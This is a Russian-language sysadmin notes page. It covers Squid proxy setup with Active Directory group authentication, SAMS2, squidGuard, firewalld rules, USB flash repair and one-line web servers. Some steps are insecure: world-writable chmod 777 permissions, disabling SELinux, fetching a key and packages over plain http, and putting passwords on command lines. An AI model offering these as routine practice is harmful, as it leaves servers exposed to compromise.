failed to call wbcCheckTrustCredentials: WBC_ERR_WINBIND_NOT_AVAILABLE
Could not check secret
то
systemctl restart winbind

если есть lotus
firewall-cmd --zone=public --add-port=1352/tcp --permanent
firewall-cmd --reload
https://igoldobin.wordpress.com/2016/10/20/установка-ibm-domino-на-linux/


установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть2

установка и настройка
https://unixwall.000webhostapp.com/настраиваем-squid-sams-для-работы-в-ad/
https://www.dmosk.ru/miniinstruktions.php?mini=sams2-squid
yum update
yum install mc htop ncdu wget curl nano nmap
yum install openssh-server
chkconfig --level 2345 sshd on
systemctl reload sshd.service
nano /etc/yum.conf
yum install epel-release
yum update
yum repolist
yum install yum-utils
yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
curl -O http://rpms.remirepo.net/enterprise/remi-release-7.rpm
rpm -Uvh remi-release-7.rpm

nano /etc/squid/squid.conf
squid -k parse
squid -k reconfigure
service squid restart

yum install php php-mysql php-mbstring php-devel php-xml php-gd php-mcrypt
yum install -y mariadb mariadb-server mariadb-devel
yum install zip unzip

cd /root
wget https://github.com/PavelVinogradov/sams2/archive/master.zip
unzip master.zip
cd /root/sams2-master
make -f Makefile.cvs
sh ./configure
make
make install



find / -name httpd.conf

chown apache:apache /var/www
chown -R apache:apache /usr/local/share/sams2/
chown -R apache:apache /usr/local/etc/sams2.conf
chmod -R 777 /usr/local/share/sams2/
systemctl restart httpd
Web-интерфейс SAMS требует права на запись в каталог ./data
setenforce 0
установка dokuwiki centos php nginx

посмотреть конфиг без комментариев
sudo grep -v «^#» /etc/squid/squid.conf | sed -e ‘/^$/d’

nano /etc/squid/squid.conf
squid -k check
squid -k parse
squid -k reconfigure
systemctl restart squid

failed to open /var/run/squid.pid: (2) No such file or directory
sudo killall -9 squid
systemctl start squid

Explicit Proxy c авторизацией по AD Group + Interception Proxy с авторизацией по MAC
Удалим полученный ticket, который мы получили от сервера Kerberos
kdestroy

«Авторизация администратора SAMS » и ввести учетные данные по-умолчанию: пользователь admin , пароль qwerty


https://meliorem.ru/category/backend/mysql/
https://tproger.ru/translations/sql-recap/

mysql -usams2user -psams2password
SHOW DATABASES;
USE sams2db;
SHOW TABLES;
SELECT * FROM sgroup;
DELETE FROM sgroup WHERE s_group_id IN (8,9,10,11,12);
DELETE FROM sgroup WHERE s_group_id BETWEEN 10 and 248;
DELETE FROM shablon WHERE s_shablon_id BETWEEN 4 AND 246 AND s_shablon_id <> 8;
show processlist;


элементы и опции squid
http://www.bog.pp.ru/work/squid.html
http://rus-linux.net/MyLDP/FAQ/SQUID-FAQ/FAQ-10.html
Установка и настройка SQUID
Элементы ACL

  • src: IP-адрес источника (клиент)

  • dst: IP-адрес назначения (сервер)

  • myip: локальный IP-адрес клиентского соединения

  • srcdomain: имя домена источника (клиент)

  • dstdomain: имя домена назначения (сервер)

  • srcdom_regex: шаблон регулярного выражения источника (клиент)

  • dstdom_regex: шаблон регулярного выражения назначения (сервер)

  • time: время дня и день недели

  • url_regex: шаблон регулярного выражения для URL

  • urlpath_regex: шаблон регулярного выражения для части URL, исключая протокол и имя хоста

  • port: номер порта назначения (сервер)

  • myport: номер локального порта, куда подключается клиент

  • proto: тип протокола передачи (http, ftp, etc)

  • method: метод HTTP-запроса (get, post, etc)

  • browser: шаблон регулярного выражения, совпадающего с заголовком user-agent из запроса

  • ident: строка совпадения с именем пользователя

  • ident_regex: шаблон регулярного выражения имени пользователя

  • src_as: номер Автономной Системы источника (клиент)

  • dst_as: номер Автономной Системы назначения (сервер)

  • proxy_auth: аутентификация пользователя через внешний процесс

  • proxy_auth_regex: регулярное выражение аутентификации пользователя через внешний процесс

  • snmp_community: строка SNMP-сообщества

  • maxconn: ограничение максимального кол-ва соединений с одного клиентского IP-адреса

  • req_mime_type: шаблон регулярного выражения для заголовка content-type запроса

  • arp: Ethernet (MAC)-адрес



Списки доступа
Существуют следующие типы списков доступа:

  • http_access: разрешает доступ HTTP-клиентам (броузерам) к порту HTTP. Это основной тип списка контроля доступа.

  • icp_access: разрешает братским кешам опрашивать ваш кеш по ICP.

  • miss_access: разрешает определенным клиентам передавать cache misses через ваш кеш.

  • no_cache: объявляет ответы, которые не должны кешироваться.

  • redirector_access: контролирует, какие запросы должны пройти через процесс редиректора.

  • ident_lookup_access: контролирует, какие запросы требуют Ident lookup.

  • always_direct: контролирует, какие запросы всегда должны посылаться напрямую к серверу назначения.

  • never_direct: контролирует, какие запросы никогда не должны посылаться напрямую к серверу назначения.

  • snmp_access: контролирует доступ клиентов к кешу по SNMP.

  • broken_posts: определяет запросы, для которых squid добавляет дополнительный CRLF после тел сообщений POST как того требуют некоторые неверно работающие сервера.

  • cache_peer_access: контролирует, какие запросы должны быть переданы соседскому кешу (peer).



https://wiki.yola.ru/squid/squid
Выпуск трафика с разных IP-адресов

acl net1 src 10.1.1.0/24
acl net2 src 10.1.2.0/24
acl net3 src 10.1.3.1/32
tcp_outgoing_address ВНЕШНИЙ_IP_1 net1
tcp_outgoing_address ВНЕШНИЙ_IP_2 net2
tcp_outgoing_address ВНЕШНИЙ_IP_3 net3
tcp_outgoing_address ВНЕШНИЙ_IP_4



firewall-cmd
Создание мультизональных конфигураций межсетевого экрана с помощью Firewalld
Firewalld, установка и настройка, зоны, NAT, проброс портов
Использование ipset во встроенном брандмауэре CentOS 7
vpn pptp centos7

netstat -tulpn

firewall-cmd --zone=public --remove-port=443/tcp --permanent
firewall-cmd --zone=public --remove-port=80/tcp --permanent
firewall-cmd --zone=public --remove-port=22/tcp --permanent
firewall-cmd --zone=public --remove-service=dhcpv6-client --permanent

firewall-cmd --zone=public --add-service=ssh --permanent
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-port=3128/tcp --permanent

firewall-cmd --reload
firewall-cmd --zone=public --list-ports
firewall-cmd --zone=public --list-services

firewall-cmd --zone=external --list-ports
firewall-cmd --zone=external --list-services

firewall-cmd --zone=external --change-interface=enp3s0 --permanent
firewall-cmd --zone=external --remove-service=ssh --permanent
firewall-cmd --get-active-zones

firewall-cmd --zone=external --list-services
firewall-cmd --list-all
firewall-cmd --get-services
systemctl restart firewalld

http://fliplinux.com/ip-cen.html
«белый список»
firewall-cmd --permanent --zone=public --add-source=192.168.100.0/24
firewall-cmd --permanent --zone=public --add-source=192.168.222.123/32


firewall-cmd --permanent --new-ipset=IP-users --type=hash:net
firewall-cmd --ipset=IP-servers --add-entry=192.168.0.0/24 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.12 --permanent
firewall-cmd --ipset=IP-servers --add-entry=192.168.200.200 --permanent

firewall-cmd --ipset=IP-servers --remove-entry=192.168.20.0/24 --permanent

firewall-cmd --ipset=IP-servers --get-entries
firewall-cmd --permanent --zone=public --add-rich-rule='rule source ipset="IP-servers" service name="ssh" accept'

firewall-cmd --remove-rich-rule='rule source ipset=IP-users service name="http" drop' --permanent

firewall-cmd --permanent --zone=public --list-rich-rules

чтобы все пользователи (список ipset IP-users) ходили через squid несмотря на net.ipv4.ip_forward=1
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -m set --match-set IP-servers src -j ACCEPT
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -m set --match-set IP-servers src -j ACCEPT

firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp3s0 -o enp1s0 -j DROP
firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i enp1s0 -o enp3s0 -j DROP

открыть Google Play
firewall-cmd --zone=public --add-port=5228/tcp --permanent
firewall-cmd --zone=external --add-port=5228/tcp --permanent

firewall-cmd --reload
systemctl restart firewalld

iptables -S

cat /etc/firewalld/direct.xml

рабочий вариант
https://wiki.archlinux.org/index.php/Active_Directory_Integration_(Русский)

/etc/sysconfig/network-scripts/
во внутренней сетевой карте не указываем GATEWAY (шлюзом будет внешняя карта)

nano /etc/NetworkManager/NetworkManager.conf
[main]
dns=none
#plugins=ifcfg-rh,ibft

nano /etc/resolv.conf
# Generated by NetworkManager
search domain.office.local
nameserver 172.16.0.1 # (dns внутренней карты)
nameserver 172.16.0.3
nameserver xxx.xxx.xxx.xxx (dns с внешней сетевой карты напр с enp3s0)

systemctl restart NetworkManager.service
nslookup serv1.domain.office.local

yum -y install squid - установка squid
systemctl start squid - запустить
systemctl enable squid - вкл авто запуск
squid -z - создаем структуру папок под кэш следующей командой

/etc/krb5.conf



ещё вариант krb5.conf
http://xgu.ru/wiki/Squid,_Kerberos_и_LDAP






realm discover domain.office.local
Получаем тикет пользователя, имеющего права администратора домена.
kinit -V Administrator@DOMAIN.OFFICE.LOCAL
вводим в домен
realm join -U adminuser domain.office.local # adminuser - администратор в AD



в командной строке на контроллере домена создаём файл ключа
ktpass -princ HTTP/myproxy123.domain.office.local@DOMAIN.OFFICE.LOCAL -mapuser DOMAIN\squid -pass "password123" -ptype KRB5_NT_SRV_HST -out C:\myproxy123.keytab

https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/ktpass
- KRB5_NT_PRINCIPAL является общим типом участника (рекомендуется).
- KRB5_NT_SRV_INST является экземпляром службы пользователя.
- KRB5_NT_SRV_HST является экземпляром службы узла


net ads keytab flush - очистить кейтаб
net ads keytab create - создать кейтаб
net ads keytab add HTTP - добавим принципал HTTP для прокси или веб сервера
net ads keytab list - посмотрим что получилось


kdestroy - очистим все прошлые попытки логона.
kinit -V -k -t /etc/krb5.keytab HTTP/sq.mydomain.name@MYDOMAIN.NAME

копируем в /etc/myproxy123.keytab и проверяем
kinit -V -k -t /etc/myproxy123 HTTP/myproxy123.domain.office.local@DOMAIN.OFFICE.LOCAL

выставляем права
chown squid:squid /etc/myproxy123.keytab
chmod u+rwx,g+rx /etc/myproxy123.keytab

если забыл пароль пользователя, то можно проверить так:
Есть ли аналог SU для Windows

Для локального аккаунта
runas /profile /user:computernamehere\username cmd
Для учетной записи домена
runas /profile /user:domainname\username cmd
runas /profile /user:username@domainname cmd

проверка

wbinfo -t
wbinfo -g
wbinfo -u

/usr/lib64/squid/basic_ldap_auth -b 'dc=domain,dc=office,dc=local'

getent passwd
getent group
net ads info
net ads lookup
net ads status -U administrator | less
klist -k /etc/krb5.keytab


Удалим полученный билет командой:
kdestroy

echo test1234 inet-users | /usr/lib64/squid/ext_wbinfo_group_acl
OK
id test1234
uid=16777893(test1234) gid=16777216(пользователи домена) группы=16777216(пользователи домена),...,16777248(inet-users),...

/usr/bin/ntlm_auth --username=test1234
Password:
NT_STATUS_OK: The operation completed successfully. (0x0)

проверка ext_kerberos_ldap_group_acl
/usr/lib64/squid/ext_kerberos_ldap_group_acl -a -d -i -g InetUsers -D DOMAIN.OFFICE.LOCAL
/usr/lib64/squid/ext_kerberos_ldap_group_acl -d -a -i -g InetUsers@DOMAIN.OFFICE.LOCAL -D DOMAIN.OFFICE.LOCAL

ошибка
kerberos_ldap_group: ERROR: Error while starting keytab scan : Key table file '/etc/krb5.keytab' not found
лечение
ln -s /etc/myproxy123.keytab /etc/krb5.keytab

Для автоматической аутентификации через Squid, необходимо внести следующие изменения - добавляем в файл /etc/sysconfig/squid строки
KRB5_KTNAME=/etc/myproxy123.keytab
export KRB5_KTNAME
и отключаем replay-кэш (для снижения нагрузок)
KRB5RCACHETYPE=none
export KRB5RCACHETYPE

/etc/sysconfig/squid






добавить в /etc/squid/squid.conf




ext_kerberos_ldap_group_acl тоже работает, но нужно поставить параметр ipv4




Настройка squid или как не купить платное решение
children — максимальное количество процессов доступные для запуска, startup количество процессов которые запущены всегда, idle максимальная очередь к помощнику при превышении указанного числа будет запускаться новый процесс помощника.

squid -k check
squid -k parse
squid -k reconfigure
systemctl restart squid

failed to open /var/run/squid.pid: (2) No such file or directory
sudo killall -9 squid
systemctl start squid

ошибки и логи
1. access.log - для записи запросов клиентов;
2. store.log - для записи действий с кэшем;
3. cache.log - для записи ошибок возникающих при работе с Squid.

tail -f /var/log/squid/cache.log
tail -f /var/log/squid/access.log

Чистим кэш Squid
grep cache_dir /etc/squid/squid.conf
service squid stop
rm -r /var/spool/squid/*
squid -z
service squid start

/etc/sysctl.conf



net.ipv4.ip_forward=0 - иначе можно будет ходить мимо squid (прописать роутинг и выставить "без прокси")

sudo sysctl -p
sudo sysctl --system

На клиентских машинах адрес прокси сервера должен быть указан в FQDN-формате (myproxy123.domain.office.local)

squidGuard
http://squidguard.mesd.k12.or.us/
https://itzx.ru/linux/install-squidguard-db4-from-source

/etc/squid/squid.conf




проверка работы прокси на admin server и kassa
curl --proxy 172.16.0.123:3128 check-host.net/ip

$ export http_proxy="http://ЛОГИН:ПАРОЛЬ@ПРОКСИ_СЕРВЕР:ПОРТ"
$ export https_proxy="https://ЛОГИН:ПАРОЛЬ@ПРОКСИ_СЕРВЕР:ПОРТ"
$ export ftp_proxy="http://ЛОГИН:ПАРОЛЬ@ПРОКСИ_СЕРВЕР:ПОРТ"
Если прокси без авторизации, то строки должны быть вида:
$ export <бла-бла>_proxy="http://ПРОКСИ_СЕРВЕР:ПОРТ"

$ export {http,https,ftp}_proxy="http://ПРОКСИ_СЕРВЕР:ПОРТ"
$ unset {http,https,ftp}_proxy

для отключения прокси:
$ unset http_proxy
$ unset https_proxy
$ unset ftp_proxy

nano /etc/environment
https_proxy="https://user:pass@proxy:port/"
http_proxy="http://user:pass@proxy:port/"
ftp_proxy="ftp://user:pass@proxy:port/"
socks_proxy="socks://user:pass@proxy:port/"
no_proxy="localhost,127.0.0.1,::1,*.my.lan
Если прокси без авторизации, то строки должны быть вида:
<бла-бла>_proxy="https://proxy:port/"

yum install squidGuard

nano /etc/squid/squidGuard.conf




https://github.com/StevenBlack/hosts
https://someonewhocares.org/hosts/hosts
https://adaway.org/hosts.txt
http://www.squidguard.org/blacklists.html
http://squidguard.mesd.k12.or.us/blacklists.tgz
http://www.shallalist.de/
http://www.shallalist.de/Downloads/shallalist.tar.gz
https://raw.githubusercontent.com/zapret-info/z-i/master/nxdomain.txt

wget http://www.shallalist.de/Downloads/shallalist.tar.gz
tar -xvf shallalist.tar.gz
mkdir -p /var/squidGuard/BL/manual/
nano /var/squidGuard/BL/manual/domains
nano /var/squidGuard/BL/manual/urls

из blacklists.tgz скопировать каталог suspect в каталог BL (иначе при преобразовании в БД выдаст ошибку)

squidGuard -b -d -C all

chown -R squid:squid /var/squidGuard
chown root:squid /etc/squid/squidGuard.conf
chmod 0640 /etc/squid/squidGuard.conf
chown -R squid:squid /var/log/squidGuard

протестируем SquidGuard, прежде, чем объединять его со Squid:
# echo "http://www.porno.com / - - GET" | squidGuard -d

в /etc/squid/squid.conf Добавляем:
url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

squid -k reconfigure
systemctl restart squid

логи
tail -f /var/log/messages
tail -f /var/log/squidGuard/squidGuard.log

squid -k rotate # очистить логи

если не применяет правила, то отключить Selinux ()
sestatus
временно
setenforce 0
постоянно
nano /etc/selinux/config
#SELINUX=enforcing
SELINUX=disabled
reboot



Изменение записей в списках доменов и URL
Пример. Рядом с файлом domains.db в папке /var/lib/squiguard/db/webmail создаём файл domains.diff. В него заносим строку или несколько строк, по одной на каждую запись:
-google.com (что означает вычеркнуть этот домен из базы)
или +google.com (что означает добавить этот домен в базу)
Даём команды:
$ squidGuard -u (обновить базы db из файлов diff. В логах squidguard'а можно посмотреть сколько добавилось/убылось.)
$ squid -k reconfigure (перечитать настройки без перезапуска.)
Файл domains.diff удалять, или стирать из него записи, не надо. При глобальном обновлении баз этот файл ещё пригодится. И при многократном обновлении не происходит дублирования записей в БД.


Webmin



sudo rpm --import http://www.webmin.com/jcameron-key.asc
sudo yum install webmin
sudo chkconfig webmin on

запись iso на флешку
записать образ на флешку
dc3dd if=$HOME/Downloads/debian-testing-i386-xfce-CD-1.iso of=/dev/sdb

или

dd if=$HOME/Downloads/debian-testing-i386-xfce-CD-1.iso of=/dev/sdb status=progress

проверить что жива
lsusb

ls -la /dev/sd*

проверить UUID
sudo blkid -c /dev/null

fdisk -l

форматнуть обратно в vfat
mkdosfs -I -F 32 /dev/sdb

изменить название
dosfslabel /dev/sdb WATCHER

можно сразу с форматированием
mkdosfs -I -F 32 /dev/sdb -n WATCHER

в ext4 годно
mkfs.ext4 /dev/sdb
или
mkfs -t ext4 /dev/sdb
e2label /dev/sdb Kingmax

http://rlab.ru/doc/repair_usb_flash_linux.html

только для чтения
fsck /dev/sdb
Диск защищён от записи; используйте опцию -n для
проверки устройства в режиме только для чтения.

fsck -n /dev/sdb

sudo apt-get install dosfstools
sudo dosfsck -w -r -l -a -v -t /dev/sdc1
sdc1 - это обычно ваш флеш- накопитель Вы можете найти свой флеш-накопитель, набрав mount в терминале. Это где-то внутри. Если эта команда занимает слишком много времени, избегайте использования ключа -t .

-w означает запись на диск немедленно.
-rозначает сделать проверку диска в интерактивном режиме (спросить вас, что делать при возникновении ошибок). В новых версиях dosfsck это значение по умолчанию.
-l означает список обработанных имен файлов.
-aзначит автоматически исправлять ошибки. Не используйте его, если хотите больше контролировать исправление возможных ошибок.
-vозначает многословный режим. Создает немного больше продукции.
-t означает пометить нечитаемые кластеры как плохие.

Теперь вы можете проверить и восстановить раздел, выполнив следующую команду:
sudo dosfsck -t -a -w /dev/sdb1

# hdparm /dev/sdb
Если видим, readonly = 1 (on), то делаем
hdparm -r0 /dev/sdb
hdparm -r0 /dev/sdb1
Вытаскиваем флешку, вставляем и снова hdparm /dev/sdb
Если опять readonly = 1 (on), то ищем утилиту от производителя и пробуем восстановить с её помощью.

восстановление флешки

https://askubuntu.com/questions/600772/recover-flash-drive-files
https://blog.sleeplessbeastie.eu/2017/07/03/how-to-use-loop-devices/
df -h | egrep 'File|loop'
losetup --list

sudo apt-get install gddrescue
sudo losetup --offset 1048576 /dev/loop2 sdb.img
sudo mount /dev/loop2 /mnt/loop
ls /mnt/loop
sudo umount /dev/loop2
sudo losetup -d /dev/loop2

Не удается удалить устройство/dev/loop2

fuser -c /dev/loop2
fuser -d /dev/loop2
fuser -f /dev/loop2

Попробуйте остановить процесс, который может использовать /dev/loop 0. При необходимости используйте kill -9 или попробуйте fuser -k отправить сигнал уничтожения

Возможно, вам придется использовать dmsetup, чтобы удалить сопоставление устройств. Самый простой способ, если он не мешает другим сопоставлениям, - использовать dmsetup remove_all

шифрованная
https://forum.porteus.org/viewtopic.php?t=7071
# cryptsetup luksOpen /mnt/sdb1/save/porteussave.dat decrypt.dat
Attaching loopback device failed (loop device with autoclear flag is required).

# cryptsetup luksOpen /mnt/sdb1/save/porteussave.dat decrypt.dat --header LUKS-HEADER --key-file <(printf asdf)
где asdf это пароль.

losetup /dev/loop9 /mnt/sdb1/save/porteussave.dat
cryptsetup luksOpen /dev/loop9 crypt
mkdir /mnt/crypt
mount /dev/mapper/crypt /mnt/crypt


AlcorMP – инструкция по восстановлению флешек
Программный ремонт USB Flash Drive с помощью утилиты AlcorMP
https://www.usbdev.ru/files/alcor/alcormp/


разное
проверить скорость чтения и записи
sudo hdparm -Tt /dev/sda




развернуть

1. Python


открыть в браузере адреса
http://0.0.0.0:8080/ или http://localhost:8080/ или http://127.0.0.1:8080/
без указания порта запустит сервер на порту 8000

python -m SimpleHTTPServer
python3 -m http.server

Если есть файл index.html в папке, из которой дан старт команде, то он будет открыт в браузере по умолчанию

запустить HTTP для всех локальных интерфейсов на порту 8080

python -m SimpleHTTPServer 8080 # python2
python3 -m http.server 8080

запустить в папке, где находится каталог cgi-bin, со сценарием cgi

python3 -m http.server 8080 --cgi

запускает сервер SMTP на порту 1025
python -m smtpd -n -c DebuggingServer localhost:1025

запустить сервер SMTP на стандартном порту 25
sudo python -m smtpd -n -c DebuggingServer localhost:25

Привязка любого номера порта ниже 1024 требует привилегии root, в таком случае используйте sudo перед командой

Twisted (Python)
$ twistd -n web -p 8000 --path .
или
$ python -c 'from twisted.web.server import Site; from twisted.web.static import File; from twisted.internet import reactor; reactor.listenTCP(8000, Site(File("."))); reactor.run()'

2. busybox httpd web server


busybox httpd --help # show available options

busybox httpd -p 127.0.0.1:8080 -h /var/www/ # start httpd
# busybox httpd -f -v -p 8080 # вариант

pkill busybox # to stop busybox httpd

по умолчанию BusyBox httpd связывает порт 80 со всеми доступными сетевыми интерфейсами и читает /etc/httpd.conf конфигурационный файл.

3. webfsd HTTP server


конфигурации webfsd хранятся в файле /etc/webfsd.conf

sudo apt-get install webfs # install webfs in Debian/Ubuntu

sudo service webfs start # start the webfs server

$ webfsd -F -p 8000

По умолчанию webfsd связывает порт 8000 со всеми доступными сетевыми интерфейсами с /var/www/html как корневую папку документов в Debian.

4. netcat as a simple web server


Netcat используется в основном для обслуживания только текстовых файлов через HTTP, полезных в целях мониторинга
Сохраните скрипт с любым именем если вы хотите использовать в сценарии, изменить его в соответствии с вашими потребностями, сделайте его исполняемым с chmod +x и запустите его



напишите в cat /var/www/index.html с тем, что вы хотите сделать, как /sbin/ifconfig eth0
чтобы остановить скрипт нажмите CTRL+C

5. php inbuilt web server



php -S 127.0.0.1:8080

php -S 127.0.0.1:8080 -t $HOME/dev/www

Если есть index.html или index.php файл, то он будет выполнен с помощью этого простого сервера PHP, теперь проверить его можно в вашем веб-браузере.

########################################################################

JS + Node


http://www.nodebeginner.ru/
https://metanit.com/web/nodejs/3.1.php

Создайте файл server.js в корневой директории вашего проекта и поместите туда следующий код:



выполните ваш скрипт в Node.js:
node server.js

http-server (Node.js)
$ npm install -g http-server # install dependency
$ http-server -p 8000

Примечание: Этот сервер делает странные вещи с относительными путями. Например, если у вас есть файл /tests/index.html, он загрузит index.html, если вы перейдете в /test, но будет обрабатывать относительные пути так, как будто они исходят из /.

node-static (Node.js)
$ npm install -g node-static # install dependency
$ static -p 8000

Go


https://metanit.com/go/web/1.1.php
Базовый веб сервер на Go
Простейший веб-сайт на Go

Создайте файл server.go в корневой директории вашего проекта и поместите туда следующий код:



выполните ваш скрипт
go run server.go

https://funprojects.blog/2021/04/11/a-web-server-in-1-line-of-bash/

Bash




Веб-сервер Bash, вызывающий команды Bash



Пример использования заголовков figlet, а также датчиков и утилиты vmstat:




https://gist.github.com/willurd/5720255

Ruby


$ ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8000, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+
$ ruby -run -ehttpd . -p8000

adsf (Ruby)
$ gem install adsf # install dependency
$ adsf -p 8000

Sinatra (Ruby)
$ gem install sinatra # install dependency
$ ruby -rsinatra -e'set :public_folder, "."; set :port, 8000'

Perl


$ cpan HTTP::Server::Brick # install dependency
$ perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>8000); $s->mount("/"=>{path=>"."}); $s->start'

Plack (Perl)
$ cpan Plack # install dependency
$ plackup -MPlack::App::Directory -e 'Plack::App::Directory->new(root=>".");' -p 8000

Mojolicious (Perl)
$ cpan Mojolicious::Lite # install dependency
$ perl -MMojolicious::Lite -MCwd -e 'app->static->paths->[0]=getcwd; app->start' daemon -l http://*:8000

Erlang


$ erl -s inets -eval 'inets:start(httpd,[{server_name,"NAME"},{document_root, "."},{server_root, "."},{port, 8000},{mime_types,[{"html","text/html"},{"htm","text/html"},{"js","text/javascript"},{"css","text/css"},{"gif","image/gif"},{"jpg","image/jpeg"},{"jpeg","image/jpeg"},{"png","image/png"}]}]).'

Java


jwebserver -p 8080


IIS Express
C:\> "C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C:\MyWeb /port:8000


https://fixmynix.com/create-instant-lightweight-web-server-command-line/
http://uzverss.livejournal.com/33187.html#www
Как сделать простой веб-сайт за один час
Расшариваем веб-сайт на localhost в глобальную сеть интернет.

Установка PHP 7 в Debian 8 с использованием репозитория Dotdeb


Чтобы установить PHP 7 на Debian 8, для начала добавляем репозиторий:



После этого, загружаем и запускаем ключ GnuPG:


Read more... )
https://linux-notes.org/ustanovka-php-7-php-fpm-s-nginx-1-9-v-debian-8/
https://rusadmin.biz/web-server/ustanovka-php-7-0-5-na-debian/
https://wiki.debian.org/ru/nginx/nginx+php-fpm
Установка PHP7 из ppa
https://librebay.blogspot.ru/2016/03/lamp-phpmyadmin-ubuntu-1604.html
https://goodigy.ru/ustanovka_lamp_ubuntu_14.04
Коротко о CGI, FastCGI, PHP-FPM и mod_php
http://nginx.org/ru/linux_packages.html

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Page Summary

Style Credit

Expand Cut Tags

No cut tags
Page generated Jan. 21st, 2026 08:01 pm
Powered by Dreamwidth Studios